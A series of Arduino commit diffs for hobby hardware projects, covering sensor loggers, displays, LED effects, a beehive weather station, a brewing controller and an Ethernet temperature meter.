-    int noteDuration = 60000 * 4.0 / BPM / noteDurations[thisNote];
-    tone(SIGNAL_PIN, melody[thisNote], noteDuration);
+    int noteDuration = 60000 * 4.0 / bpm / melody[noteIndex + 2];
+    tone(SIGNAL_PIN, melody[noteIndex+1], noteDuration);

     // play with staccato ~ half beat
     delay(noteDuration / 2);


Charger: Same loop as Temp

Charger: Same loop as Temp

Signed-off-by: Robert Nelson <d6c41255011d14bfa93d8562b946ca186cfa0c7b@gmail.com>

--- BatteryCharger/BatteryCharger.ino
+++ BatteryCharger/BatteryCharger.ino
@@ -1,17 +1,18 @@
+#include <avr/sleep.h>
+#include <avr/power.h>
+#include <avr/wdt.h>
+#include <avr/io.h>
+#include <avr/interrupt.h>
+
 #include <Wire.h>
-#include <avr/power.h>
 #include "Adafruit_INA219.h"
-#include "LowPower.h"

 Adafruit_INA219 ina219_A;
 Adafruit_INA219 ina219_B(0x44);

-/* 8Mhz (fuse/bootloader) */
-#define ws_baud 57600
-#define ws_one_second 1000
-#define ws_short_delay 200
+int counter=10;

-int counter=10;
+long lastSecond; //The millis counter to see when a second rolls by

 const int XBee_wake = 9;

@@ -25,11 +26,17 @@
 float current_mA_B = 0;
 float loadvoltage_B = 0;

+//with xbee on
+float shuntvoltage_C = 0;
+float busvoltage_C = 0;
+float current_mA_C = 0;
+float loadvoltage_C = 0;
+
 void setup () {
 	//clock_prescale_set(clock_div_4);

-	Serial.begin(ws_baud);
-	Serial.println("Hello!");
+	Serial.begin(57600);
+	Serial.println("Charger Example");

 	// Initialize the INA219.
 	// By default the initialization will use the largest range (32V, 2A).  However
@@ -42,62 +49,73 @@
 	//ina219.setCalibration_16V_400mA();

 	Serial.println("Measuring voltage and current with INA219 ...");
+
+	lastSecond = millis();
 }

 void loop () {
-	float shuntvoltage_A = ina219_A.getShuntVoltage_mV();
-	float busvoltage_A = ina219_A.getBusVoltage_V();
-	float current_mA_A = ina219_A.getCurrent_mA();
+	//Print readings every second
+	if (millis() - lastSecond >= 10000)
+	{

-	float shuntvoltage_B = ina219_B.getShuntVoltage_mV();
-	float busvoltage_B = ina219_B.getBusVoltage_V();
-	float current_mA_B = ina219_B.getCurrent_mA();
+		lastSecond += 10000;

-//	// wake up the XBee
-//	pinMode(XBee_wake, OUTPUT);
-//	digitalWrite(XBee_wake, LOW);
-//	delay(ws_short_delay);
+		shuntvoltage_A = ina219_A.getShuntVoltage_mV();
+		busvoltage_A = ina219_A.getBusVoltage_V();
+		current_mA_A = ina219_A.getCurrent_mA();

-	Serial.print("$LOAD:");
-	Serial.print(counter);
-	Serial.print(":BusVolt:");
-	Serial.print(busvoltage_A);
-	Serial.println("V*");
+		// wake up the XBee
+		pinMode(XBee_wake, OUTPUT);
+		digitalWrite(XBee_wake, LOW);

-	Serial.print("$LOAD:");
-	Serial.print(counter);
-	Serial.print(":Current:");
-	Serial.print(current_mA_A);
-	Serial.println("mA*");
+		shuntvoltage_B = ina219_B.getShuntVoltage_mV();
+		busvoltage_B = ina219_B.getBusVoltage_V();
+		current_mA_B = ina219_B.getCurrent_mA();

-	float shuntvoltage_C = ina219_A.getShuntVoltage_mV();
-	float busvoltage_C = ina219_A.getBusVoltage_V();
-	float current_mA_C = ina219_A.getCurrent_mA();
+		Serial.print("$LOAD:");
+		Serial.print(counter);
+		Serial.print(":BusVolt:");
+		Serial.print(busvoltage_A);
+		Serial.println("V*");

-	Serial.print("$CHARGER:");
-	Serial.print(counter);
-	Serial.print(":BusVolt:");
-	Serial.print(busvoltage_B);
-	Serial.println("V*");
+		Serial.print("$LOAD:");
+		Serial.print(counter);
+		Serial.print(":Current:");
+		Serial.print(current_mA_A);
+		Serial.println("mA*");

-	Serial.print("$CHARGER:");
-	Serial.print(counter);
-	Serial.print(":Current:");
-	Serial.print(current_mA_B);
-	Serial.println("mA*");
+		shuntvoltage_C = ina219_A.getShuntVoltage_mV();
+		busvoltage_C = ina219_A.getBusVoltage_V();
+		current_mA_C = ina219_A.getCurrent_mA();

-	Serial.print("$LOADXB:");
-	Serial.print(counter);
-	Serial.print(":BusVolt:");
-	Serial.print(busvoltage_C);
-	Serial.println("V*");
+		Serial.print("$CHARGER:");
+		Serial.print(counter);
+		Serial.print(":BusVolt:");
+		Serial.print(busvoltage_B);
+		Serial.println("V*");

-	Serial.print("$LOADXB:");
-	Serial.print(counter);
-	Serial.print(":Current:");
-	Serial.print(current_mA_C);
-	Serial.println("mA*");
-	Serial.println("");
+		Serial.print("$CHARGER:");
+		Serial.print(counter);
+		Serial.print(":Current:");
+		Serial.print(current_mA_B);
+		Serial.println("mA*");
+
+		Serial.print("$LOADXB:");
+		Serial.print(counter);
+		Serial.print(":BusVolt:");
+		Serial.print(busvoltage_C);
+		Serial.println("V*");
+
+		Serial.print("$LOADXB:");
+		Serial.print(counter);
+		Serial.print(":Current:");
+		Serial.print(current_mA_C);
+		Serial.println("mA*");
+		Serial.println("");
+
+		// put the XBee to sleep
+		pinMode(XBee_wake, INPUT); // put pin in a high impedence state
+		digitalWrite(XBee_wake, HIGH);

 		counter++;
 		if (counter == 100)
@@ -105,9 +123,7 @@
 			counter = 10;
 		}

-//	// put the XBee to sleep
-//	pinMode(XBee_wake, INPUT); // put pin in a high impedence state
-//	digitalWrite(XBee_wake, HIGH);
+	}

-	LowPower.powerDown(SLEEP_8S, ADC_OFF, BOD_OFF);
+	delay(100);
 }


Fixed indentation

Fixed indentation

--- proj/SpeedLight/SpeedLight.ino
+++ proj/SpeedLight/SpeedLight.ino
@@ -47,16 +47,16 @@

 void doEncoderA() {
   if (digitalRead(encoder0PinA) == digitalRead(encoder0PinB)) {
-	  encoder0Pos = encoder0Pos - 1;
+	encoder0Pos = encoder0Pos - 1;
   } else {
-	  encoder0Pos = encoder0Pos + 1;
+	encoder0Pos = encoder0Pos + 1;
   }
 }

 void doEncoderB() {
   if (digitalRead(encoder0PinA) == digitalRead(encoder0PinB)) {
-	  encoder0Pos = encoder0Pos + 1;
+	encoder0Pos = encoder0Pos + 1;
   } else {
-	  encoder0Pos = encoder0Pos - 1;
+	encoder0Pos = encoder0Pos - 1;
   }
 }


Linting improvements

Linting improvements

--- examples/RoseBot/RoseBotFirmata/RoseBotFirmata.ino
+++ examples/RoseBot/RoseBotFirmata/RoseBotFirmata.ino
@@ -49,31 +49,27 @@
 #define I2C_END_TX_MASK             B01000000
 #define I2C_STOP_TX                 1
 #define I2C_RESTART_TX              0
-
 #define MAX_QUERIES                 8
 #define REGISTER_NOT_SPECIFIED      -1

-// the minimum interval for sampling analog input
+// Minimum sampling intervals
 #define MINIMUM_SAMPLING_INTERVAL 10
 #define MINIMUM_SAMPLING_INTERVAL_WITH_PIXY 25
-
-#define REGISTER_NOT_SPECIFIED -1
-
-#define INTER_PING_INTERVAL 40 // 40 ms.

 // SYSEX command sub specifiers
 #define TONE_TONE 0
 #define TONE_NO_TONE 1
-
 #define STEPPER_CONFIGURE 0
 #define STEPPER_STEP 1
 #define STEPPER_LIBRARY_VERSION 2
-
 #define PIXY_INIT 0
 #define PIXY_SET_SERVOS 1
 #define PIXY_SET_BRIGHTNESS 2
 #define PIXY_SET_LED 3

+// Other
+#define REGISTER_NOT_SPECIFIED -1
+#define INTER_PING_INTERVAL 40 // 40 ms.
 #define PIN_PIXY_MOSI 11
 #define PIN_PIXY_MISO 12


delays added for ESP8266

delays added for ESP8266

delay(1) added after display.display() to prevent crashing on ESP8266.

--- examples/ssd1306_128x32_i2c/ssd1306_128x32_i2c.ino
+++ examples/ssd1306_128x32_i2c/ssd1306_128x32_i2c.ino
@@ -153,6 +153,7 @@
   display.clearDisplay();
   display.drawBitmap(30, 16,  logo16_glcd_bmp, 16, 16, 1);
   display.display();
+  delay(1);

   // invert the display
   display.invertDisplay(true);
@@ -223,12 +224,14 @@
       display.println();
   }
   display.display();
+  delay(1);
 }

 void testdrawcircle(void) {
   for (int16_t i=0; i<display.height(); i+=2) {
     display.drawCircle(display.width()/2, display.height()/2, i, WHITE);
     display.display();
+    delay(1);
   }
 }

@@ -238,6 +241,7 @@
     // alternate colors
     display.fillRect(i, i, display.width()-i*2, display.height()-i*2, color%2);
     display.display();
+    delay(1);
     color++;
   }
 }
@@ -248,6 +252,7 @@
                      display.width()/2-i, display.height()/2+i,
                      display.width()/2+i, display.height()/2+i, WHITE);
     display.display();
+    delay(1);
   }
 }

@@ -260,6 +265,7 @@
     if (color == WHITE) color = BLACK;
     else color = WHITE;
     display.display();
+    delay(1);
   }
 }

@@ -267,6 +273,7 @@
   for (int16_t i=0; i<display.height()/2-2; i+=2) {
     display.drawRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()/4, WHITE);
     display.display();
+    delay(1);
   }
 }

@@ -277,6 +284,7 @@
     if (color == WHITE) color = BLACK;
     else color = WHITE;
     display.display();
+    delay(1);
   }
 }

@@ -284,6 +292,7 @@
   for (int16_t i=0; i<display.height()/2; i+=2) {
     display.drawRect(i, i, display.width()-2*i, display.height()-2*i, WHITE);
     display.display();
+    delay(1);
   }
 }

@@ -291,10 +300,12 @@
   for (int16_t i=0; i<display.width(); i+=4) {
     display.drawLine(0, 0, i, display.height()-1, WHITE);
     display.display();
+    delay(1);
   }
   for (int16_t i=0; i<display.height(); i+=4) {
     display.drawLine(0, 0, display.width()-1, i, WHITE);
     display.display();
+    delay(1);
   }
   delay(250);

@@ -302,10 +313,12 @@
   for (int16_t i=0; i<display.width(); i+=4) {
     display.drawLine(0, display.height()-1, i, 0, WHITE);
     display.display();
+    delay(1);
   }
   for (int16_t i=display.height()-1; i>=0; i-=4) {
     display.drawLine(0, display.height()-1, display.width()-1, i, WHITE);
     display.display();
+    delay(1);
   }
   delay(250);

@@ -313,10 +326,12 @@
   for (int16_t i=display.width()-1; i>=0; i-=4) {
     display.drawLine(display.width()-1, display.height()-1, i, 0, WHITE);
     display.display();
+    delay(1);
   }
   for (int16_t i=display.height()-1; i>=0; i-=4) {
     display.drawLine(display.width()-1, display.height()-1, 0, i, WHITE);
     display.display();
+    delay(1);
   }
   delay(250);

@@ -324,10 +339,12 @@
   for (int16_t i=0; i<display.height(); i+=4) {
     display.drawLine(display.width()-1, 0, 0, i, WHITE);
     display.display();
+    delay(1);
   }
   for (int16_t i=0; i<display.width(); i+=4) {
     display.drawLine(display.width()-1, 0, i, display.height()-1, WHITE);
     display.display();
+    delay(1);
   }
   delay(250);
 }
@@ -339,6 +356,7 @@
   display.clearDisplay();
   display.println("scroll");
   display.display();
+  delay(1);

   display.startscrollright(0x00, 0x0F);
   delay(2000);


Commit transitional code running in station for last month.

--- arduino/beestation/beestation.ino
+++ arduino/beestation/beestation.ino
@@ -9,8 +9,8 @@
 *  Lots of ideas taken from the many helpful posts in the community online.
 *
 *  Purpose:
-*  Sends data to LAMP backend with HTTP GETs
-*  Be stable over all conditions
+*   Sends data to LAMP backend with HTTP GETs
+*   Be stable over all conditions
 *
 *  To Do:
 *   More sensors.
@@ -21,10 +21,11 @@
 */

 #define USE_DHT 0
-#define USE_CC3300 1
+#define USE_CC3300 01
 #define USE_DS2401 1
 #define USE_BMP 0
 #define USE_BME 1
+#define MY_DEBUG 1

 // Include required libraries
 #include <Adafruit_CC3000.h> // wifi library
@@ -82,7 +83,7 @@
 // Serial Number of this beestation
 char gSerialNumber[20]; // read from Maxim DS2401 on pin 9

-const int gRedLED = 2; // LED on pin
+const int gRedLED = 8; // LED on pin
 const int gYellowLED = 7; // LED on pin 7

 void setup(void)
@@ -92,6 +93,10 @@
 	pinMode(gRedLED, OUTPUT);
 	pinMode(gYellowLED, OUTPUT);
 	digitalWrite(gYellowLED, HIGH);
+	digitalWrite(gRedLED, HIGH);
+	delay(500);
+	digitalWrite(gRedLED, LOW);
+
 	// Start Serial
 	Serial.begin(115200); // 9600
 	Serial.println(F("\n\nInitializing Bee Station"));
@@ -106,6 +111,7 @@
 	}
 #endif // USE_BME

+#if USE_CC3300
 	// Initialise the CC3000 module
 	//gCc3000 = Adafruit_CC3000(ADAFRUIT_CC3000_CS,
 	//	ADAFRUIT_CC3000_IRQ,
@@ -113,9 +119,11 @@
 	//	SPI_CLOCK_DIV2);
 	setupCc3000();
 	displayConnectionDetails();
-	digitalWrite(gRedLED, LOW);
+#endif // USE_CC3300
+	//digitalWrite(gRedLED, LOW);
 	delay(2000);

+#if USE_CC3300
 	uint32_t ip = gCc3000.IP2U32(WEB_SERVER_IP_COMMAS);
 	Serial.print(F("About to connect to web server at "));
 	gCc3000.printIPdotsRev(ip);
@@ -126,6 +134,7 @@
 	//gTimeNow = millis();
 	//prints time since program started
 	//Serial.println(gTimeNow);
+#endif
 	digitalWrite(gYellowLED, LOW);
 	wdt_enable(WDTO_8S); // options: WDTO_1S, WDTO_2S, WDTO_4S, WDTO_8S
 }
@@ -138,7 +147,7 @@
 	Serial.print(F("Cycles:"));
 	Serial.println(gCycles);
 	Serial.print(F("Free RAM:"));
-	Serial.println(freeRam());
+	Serial.println(calculateFreeRam());

 #if USE_BME
 	// Measure from BMP180
@@ -146,6 +155,7 @@
 	wdt_reset();
 #endif

+#if USE_CC3300
 	uint32_t ip = gCc3000.IP2U32(WEB_SERVER_IP_COMMAS);
 	Serial.print("About to connect to web server ");
 	gCc3000.printIPdotsRev(ip);
@@ -159,7 +169,7 @@
 	wdt_reset();
 	// Check WiFi connection, reset if connection is lost
 	checkAndResetWifi();
-
+#endif // USE_CC3300
 	wdt_reset();
 	delayBetweenMeasurements(50); // Wait a few seconds between measurements.
 }
@@ -171,6 +181,7 @@

 	if (!gCc3000.getIPAddress(&ipAddress, &netmask, &gateway, &dhcpserv, &dnsserv))
 	{
+		Serial.println(F("Can't get IP addresses"));
 		return false;
 	}
 	else
@@ -328,7 +339,7 @@
 measureBme280(void)
 {
 	/* Get a new sensor event */
-	sensors_event_t event;
+	//sensors_event_t event;
 	float temperature;
 	float pressure;
 	float humidity;
@@ -340,23 +351,28 @@
 	humidity = gBme280.readHumidity();

 	gPressure = (int)(pressure + 0.5);
-	//Serial.print(F("Pressure:    "));
-	//Serial.print(pressure);
-	//Serial.print(F(" hPa => "));
-	//Serial.println(gPressure);
+#if MY_DEBUG
+	Serial.print(F("Pressure:    "));
+	Serial.print(pressure);
+	Serial.print(F(" hPa => "));
+	Serial.println(gPressure);
+#endif // MY_DEBUG

 	gTemperature = (int)(temperature + 0.5);
-	//Serial.print(F("Temperature: "));
-	//Serial.print(temperature);
-	//Serial.print(F(" C =>"));
-	//Serial.println(gTemperature);
+#if MY_DEBUG
+	Serial.print(F("Temperature: "));
+	Serial.print(temperature);
+	Serial.print(F(" C =>"));
+	Serial.println(gTemperature);
+#endif

 	gHumidity = (int)(humidity + 0.5);
-	//Serial.print(F("Humidity: "));
-	//Serial.print(humidity);
-	//Serial.print(F(" RH =>"));
-	//Serial.println(gHumidity);
-
+#if MY_DEBUG
+	Serial.print(F("Humidity: "));
+	Serial.print(humidity);
+	Serial.print(F(" RH =>"));
+	Serial.println(gHumidity);
+#endif
 	wdt_reset();
 }
 #endif // USE_BME
@@ -365,7 +381,7 @@
 setupCc3000(void)
 {
 	bool result = FALSE;
-
+	Serial.println(F("CC3000 setup..."));
 	if (!gCc3000.begin())
 	{
 		Serial.println(F("CC3000 failed to initialize"));
@@ -374,6 +390,7 @@
 	// cleanup profiles the CC3000 module
 	if (!gCc3000.deleteProfiles())
 	{
+		Serial.println(F("CC3000 failed to delete old profiles"));
 		do { /* do nothing without reset, let the watchdog bite */ } while (1);
 	}

@@ -423,7 +440,7 @@
 }

 int
-freeRam(void) {
+calculateFreeRam(void) {
 	extern int __heap_start, *__brkval;
 	int v;
 	return (int)&v - (__brkval == 0 ? (int)&__heap_start : (int)__brkval);


DaytonaArduino - simplified code

DaytonaArduino - simplified code

--- DaytonaArduino/DaytonaArduino.ino
+++ DaytonaArduino/DaytonaArduino.ino
@@ -49,12 +49,13 @@
 */
 #include "DaytonaArduino.h"

-dataForController_t controllerData = getControllerData();
+dataForController_t controllerData;
 byte size = sizeof(dataForController_t) - 1;

 void setup() {
   setupPins();
   setupSerial();
+  getControllerData();
 }

 void loop() {
@@ -65,7 +66,7 @@
       case 0x00:
         // 0 - controller feed
         if (val == 0) {
-          controllerData = getControllerData();
+          getControllerData();
         }
         Serial.write(((uint8_t*)&controllerData)[val]);
         break;
@@ -103,10 +104,7 @@
   Serial.write(0xA5);
 }

-dataForController_t getControllerData(void) {
-  // prepare data
-  dataForController_t controllerData;
-
+void getControllerData(void) {
   // digital pin 21-14
   controllerData.button01 = !digitalRead(21);
   controllerData.button03 = !digitalRead(20);
@@ -215,7 +213,4 @@
     controllerData.y_axis = 0x0200;
     controllerData.x_axis = analogRead(A0);
   }
-
-  // And return the data!
-  return controllerData;
-}
+}


Removed convertion to strings

Removed convertion to strings

--- Arduino/_firmware3/_firmware3.ino
+++ Arduino/_firmware3/_firmware3.ino
@@ -44,14 +44,14 @@
 int positionSignal2= A1;  //J10 Connector
 double position1 = 0;
 double position2 = 0;
-String position1_mm = "0.0";
-String position2_mm = "0.0";
+double position1_mm = 0.0;
+double position2_mm = 0.0;

 void position_sensors(){
   position1 = analogRead(positionSignal1);
   position2 = analogRead(positionSignal2);
-  position1_mm = String(position1 * 12.7 / 1023);
-  position2_mm = String(position2 * 12.7 / 1023);
+  position1_mm = position1 * 12.7 / 1023;
+  position2_mm = position2 * 12.7 / 1023;
 }

 /////////////////////////////////////////////////////////////////////////////////////////////////////////////
@@ -123,7 +123,7 @@
 int close_valve_at_cm_level = 5; //2 inches

 boolean solenoid_valve_open = false;
-String flow_rate_cc_per_sec = "0.0";
+double flow_rate_cc_per_sec = 0.0;
 float water_level_buffer=1; //The water level buffer is how much the water level should increase before calculating a new flow rate

 void solenoid_drain_valve(){
@@ -143,7 +143,7 @@
      double time_delta = millis() - calc_time_ms;
      //Serial.println(water_level_delta);
     // Serial.println(time_delta/1000);
-     flow_rate_cc_per_sec = String(( water_level_delta ) / (time_delta/1000));
+     flow_rate_cc_per_sec = ( water_level_delta ) / (time_delta/1000);

      //set the last calculation references
      flow_calc_water_level_cm = water_level_cm;
@@ -167,7 +167,7 @@
 double revolution_count = 0;
 unsigned int current_time = 0;
 unsigned int previous_time = 0;
-String rpm = "0.0";
+double rpm = 0.0;

 // Tachometer Interrupt Service Routine (ISR)

@@ -187,7 +187,7 @@
   detachInterrupt(0);
   detachInterrupt(1);
   duration = millis() - last_print_time;
-  rpm = String(revolution_count / (duration/1000) * 60);
+  rpm = revolution_count / (duration/1000) * 60;
   revolution_count = 0;
 }

@@ -206,12 +206,12 @@
 // you can try to keep time of how long it is between pulses
 volatile uint32_t lastflowratetimer = 0;
 // and use that to calculate a flow rate
-volatile float flowrate;
+double flowrate = 0.0;
 // Interrupt is called once a millisecond, looks for any pulses from the sensor!
 float liters = 0;
 bool flowTrigger = false;

-String flowrate_str = "0.0";
+

 void flowCalc(){
   flowTrigger = true;
@@ -243,7 +243,6 @@
   //  flow rate code
   flowrate = (pulses - last_pulses) / (duration/1000) ; //Hz
   flowrate = (flowrate + 3)/8.1; // L/min
-  flowrate_str = String(flowrate);
   last_pulses = pulses;
 }
 //////////////////////////////////////////////////////////////////////////////////////////////////////////////
@@ -256,7 +255,7 @@
 #define  DataPin   7  //data in
 #define  TestPin   8  //driver pin  set pin low to start deliver data

-String shaftTemp = "";
+double shaftTemp = 0.0;

 void data_read(int *p)
 {
@@ -294,7 +293,7 @@
     int tempData = 0;
     data_read(data_buf);
     tempData = data_buf[1]*256 + data_buf[2];
-    shaftTemp = String((float)tempData/16-273.15);
+    shaftTemp = (float)tempData/16-273.15;
 }

@@ -314,17 +313,17 @@
 DeviceAddress casingTemperature, ambientTemperature, glandTemperature;   // OneWire variables
 unsigned long lastTempRequest = 0;
 int  delayInMillis = 0;
-String ambient_temperature = "";
-String casing_temperature = "";
-String gland_temperature = "";
+double ambient_temperature = 0.0;
+double casing_temperature = 0.0;
+double gland_temperature = 0.0;
 int  idle = 0;

 void one_wire_temps(){
   // OneWire sensor setup
       // waited long enough??
-    ambient_temperature = String(sensors.getTempCByIndex(0));
-    casing_temperature = String(sensors.getTempCByIndex(1));
-    gland_temperature = String(sensors.getTempCByIndex (2));
+    ambient_temperature = sensors.getTempCByIndex(0);
+    casing_temperature = sensors.getTempCByIndex(1);
+    gland_temperature = sensors.getTempCByIndex (2);
     sensors.requestTemperatures();
     delayInMillis = 750 / (1 << (3));
     lastTempRequest = millis();
@@ -404,8 +403,8 @@
 float load1_val = 0.0;
 float load2_val = 0.0;
 float load_cap = 10000000.0;
-String load1_res2 = "0.0";
-String load2_res2 = "0.0";
+double load1_res2 = 0.0;
+double load2_res2 = 0.0;

 const int numRead = 10;
 float readings_load1[numRead];
@@ -454,8 +453,8 @@
   ave_load2 = total_load2 / float(numRead);
   //Smoothing code ends

-  load1_res2 = String(ave_load1);
-  load2_res2 = String(ave_load2);
+  load1_res2 = ave_load1;
+  load2_res2 = ave_load2;

 }

@@ -463,6 +462,12 @@
 void add_data(String to_add){
   data += ",";
   data += to_add;
+}
+
+void add_data_doubles(double* address_1){
+    data += ",";
+    data += *address_1;
+
 }

 //void smoothing(double total, double readings[], double average){
@@ -521,6 +526,10 @@

 }

+double* sensors_list[] = {&shaftTemp, &ambient_temperature, &casing_temperature, &gland_temperature,
+&rpm, &load1_res2, &load2_res2, &flow_rate_cc_per_sec, &flowrate, &position1_mm, &position2_mm};
+
+
 void loop() {
   position_sensors();
   fluid_level_sensor();
@@ -530,8 +539,10 @@
   film_sensor();

+    int i;
   if (millis() - last_print_time >= PRINT_DELAY){
-
+
+
     rpm_calculation();
     flow_rate();
     shaft_temp();
@@ -539,17 +550,9 @@

     data = "D";
     add_data(NODE_ID);
-    add_data(shaftTemp);
-    add_data(ambient_temperature);
-    add_data(casing_temperature);
-    add_data(gland_temperature);
-    add_data(rpm);
-    add_data(load1_res2);
-    add_data(load2_res2);
-    add_data(flow_rate_cc_per_sec);
-    add_data(flowrate_str);
-    add_data(position1_mm);
-    add_data(position2_mm);
+    for(i=0; i<11; i++){
+        add_data_doubles(sensors_list[i]);
+    }

     receive_FFT();
     Serial.println(data);


DHT and DS are connected

DHT and DS are connected

--- net_th_meter/net_th_meter.ino
+++ net_th_meter/net_th_meter.ino
@@ -11,21 +11,154 @@
  * (c) 2016, Mikhail Shiryaev
  */

+#include <DHT.h>               // https://github.com/adafruit/DHT-sensor-library
+#include <OneWire.h>           // http://www.pjrc.com/teensy/td_libs_OneWire.html
+#include <DallasTemperature.h> // https://github.com/milesburton/Arduino-Temperature-Control-Library
+#include <UIPEthernet.h>       // https://github.com/ntruchsess/arduino_uip
+
 // All the pins below are digital
-#define DHT_PIN       5 // DHT22 data
-#define ONE_WIRE_PIN0 2 // the 1st DS18B20 data
-#define ONE_WIRE_PIN1 2 // the 2nd DS18B20 data
-#define ONE_WIRE_PIN2 2 // the 3rd DS18B20 data
+#define DHT_PIN       2 // DHT22 data
+#define ONE_WIRE_PIN0 5 // the 1st DS18B20 data
+#define ONE_WIRE_PIN1 6 // the 2nd DS18B20 data
+#define ONE_WIRE_PIN2 7 // the 3rd DS18B20 data

-// MAC address
-byte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };
+#define DHT_TYPE      DHT22 // DHT 22
+#define ONE_WIRE_CNT  3     // count of 1-wire connections
+#define TCP_PORT      502   // Modbus TCP
+
+// DHT instance
+DHT dht(DHT_PIN, DHT_TYPE);
+
+// 1-wire and DS instances
+OneWire oneWire0(ONE_WIRE_PIN0);
+OneWire oneWire1(ONE_WIRE_PIN1);
+OneWire oneWire2(ONE_WIRE_PIN2);
+OneWire oneWires[] = {oneWire0, oneWire1, oneWire2};
+DallasTemperature dsSensors[ONE_WIRE_CNT];
+
+// Ethernet
+byte mac[] = { 0xAB, 0xB6, 0xAA, 0x43, 0xA5, 0x9D };
+IPAddress ip(192, 168, 1, 8);
+EthernetServer server = EthernetServer(TCP_PORT);
+
+// Speed control
+unsigned long time;
+
+// Initialize DHT sensor
+void initDHT() {
+  dht.begin();
+  Serial.println("DHT sensor initialized");
+}
+
+// Initialize DS sensors
+void initDS() {
+  DeviceAddress deviceAddress;
+  for (int i = 0; i < ONE_WIRE_CNT; i++) {
+    dsSensors[i].setOneWire(&oneWires[i]);
+    dsSensors[i].begin();
+    if (dsSensors[i].getAddress(deviceAddress, 0))
+      dsSensors[i].setResolution(deviceAddress, 12);
+  }
+  Serial.println("DS sensors initialized");
+}
+
+// Initialize ENC28J60 Ethernet controller
+void initEthernet() {
+  Ethernet.begin(mac, ip);
+  server.begin();
+
+  Serial.print("Ethernet initialized. IP: ");
+  Serial.println(Ethernet.localIP());
+}
+
+void writeTime() {
+  Serial.print("Time elapsed = ");
+  Serial.println(millis() - time);
+}
+
+// Read data from DHT sensor
+void readDHT() {
+  writeTime();
+  Serial.println("Reading from DHT sensor");
+  float h = dht.readHumidity();
+  float t = dht.readTemperature(); // *C
+  Serial.println("Done");
+  writeTime();
+
+  if (isnan(h) || isnan(t)) {
+    Serial.println("Error reading from DHT sensor");
+  } else {
+    Serial.print("h = ");
+    Serial.print(h);
+    Serial.println(" %");
+    Serial.print("t = ");
+    Serial.print(t);
+    Serial.println(" *C");
+  }
+  writeTime();
+  Serial.println();
+}
+
+// Read data from DS sensors
+void readDS() {
+  writeTime();
+  Serial.println("Requesting DS sensors");
+  for (int i = 0; i < ONE_WIRE_CNT; i++) {
+    dsSensors[i].requestTemperatures();
+  }
+  Serial.println("Done");
+  writeTime();
+
+  for (int i=0; i < ONE_WIRE_CNT; i++) {
+    float t = dsSensors[i].getTempCByIndex(0);
+    Serial.print("t[");
+    Serial.print(i);
+    Serial.print("] = ");
+    Serial.print(t);
+    Serial.println(" *C");
+  }
+  writeTime();
+  Serial.println();
+}
+
+// Process Ethernet communication
+void communicate() {
+  size_t size;
+
+  if (EthernetClient client = server.available()) {
+    while((size = client.available()) > 0) {
+      uint8_t* msg = (uint8_t*)malloc(size);
+      size = client.read(msg, size);
+      Serial.write(msg, size);
+      free(msg);
+    }
+
+    client.println("DATA from Server!");
+    client.stop();
+  }
+}

 void setup() {
-  // put your setup code here, to run once:
-
+  Serial.begin(9600);
+  Serial.println("NET TH meter started");
+  initDHT();
+  initDS();
+  initEthernet();
+  Serial.println();
 }

 void loop() {
-  // put your main code here, to run repeatedly:
+  time = millis();
+
+  // wait a few seconds between measurements
+  delay(2000);

+  // read temperature and humidity from DHT sensors, takes around 270 milliseconds
+  readDHT();
+
+  // read temperatures from DS sensors, takes around 2370 milliseconds
+  readDS();
+
+  // Ethernet communication
+  communicate();
 }


more comments!

more comments!

--- Lee_Retirement/Lee_Retirement.ino
+++ Lee_Retirement/Lee_Retirement.ino
@@ -8,10 +8,14 @@
  * http://www.amazon.com/gp/product/B00LZCTMJM
  */

-
 /*
  set up for the RTC
+ Libraries used are at
+  http://www.pjrc.com/teensy/td_libs_Time.html
+  http://www.pjrc.com/teensy/td_libs_DS1307RTC.html
+ as referenced by http://playground.arduino.cc/Code/Time
 */
+#include <Wire.h>
 #include <DS1307RTC.h>
 #include <Time.h>
 #include <TimeLib.h>


test push for carrino

test push for carrino

--- DanceLights/DanceLights.ino
+++ DanceLights/DanceLights.ino
@@ -46,7 +46,28 @@
 	  accel.Update();

    //if (accel.isDancing())
-
+        if (digitalRead(9) == LOW)
+    {
+      Single.ColorSet(Single.Wheel(random(255)));
+      //Stick.ColorSet(Stick.Color(255, 0, 0));
+      Stick.Interval = 200;
+      Stick.Update();
+    }
+    // Update the rings.
+    //Single.ActivePattern = RAINBOW_CYCLE;
+    else if (digitalRead(10) == LOW)
+    {
+      Single.ColorSet(Single.Color(0,255,255));
+      Stick.Interval = 50;
+      Stick.Update();
+    }
+    else
+    {
+      Single.Update();
+      Stick.Interval = 20;
+      Stick.Update();
+    }
+    /*
     // Switch patterns on a button press:
     if (digitalRead(8) == LOW) // Button #1 pressed
     {
@@ -95,6 +116,7 @@
     {
         Stick.Update();
     }
+    */
 }

 //------------------------------------------------------------


Introduced displayBuffer

Introduced displayBuffer

Introduced displayBuffer, flickering Displays and "first"-checks should now be unneccessary.

--- BrewDuino.ino
+++ BrewDuino.ino
@@ -46,6 +46,7 @@
 LCD5110 lcd(PIN_LCD_SCLK, PIN_LCD_MOSI, PIN_LCD_DC, PIN_LCD_RST, PIN_LCD_SCE);
 extern uint8_t SmallFont[];
 char lcdBuf[15] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}; //Buffer für Konkatenierte Display ausgaben
+char displayBuffer[6][15] = {{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}};

 //Encoder einrichten;
 ClickEncoder *encoder;
@@ -450,10 +451,19 @@
 }

 void printRow(char* text, int pos, int row) {
-  if (row > 5)
+  if (row > 5) //Received pixel instead of line
     row = row / 8;
-  lcd.clrRow(row);
-  lcd.print(text, pos, row * 8);
+
+  if(row > 5) return; //We have only 6 lines.
+
+  if(strcmp(text, displayBuffer[row])==0){
+    //Only print to display, when anything changed in line
+    lcd.clrRow(row);
+    lcd.print(text, pos, row * 8);
+    //Store line
+    strcpy(displayBuffer[row],text);
+
+  }
 }

 void timerIsr() {


Update Firmware.ino

Update Firmware.ino

Updated comments


Changed drive label

Changed drive label

--- Chameleon.ino
+++ Chameleon.ino
@@ -252,7 +252,7 @@
   delay(700);

   // For loop to find drive letter
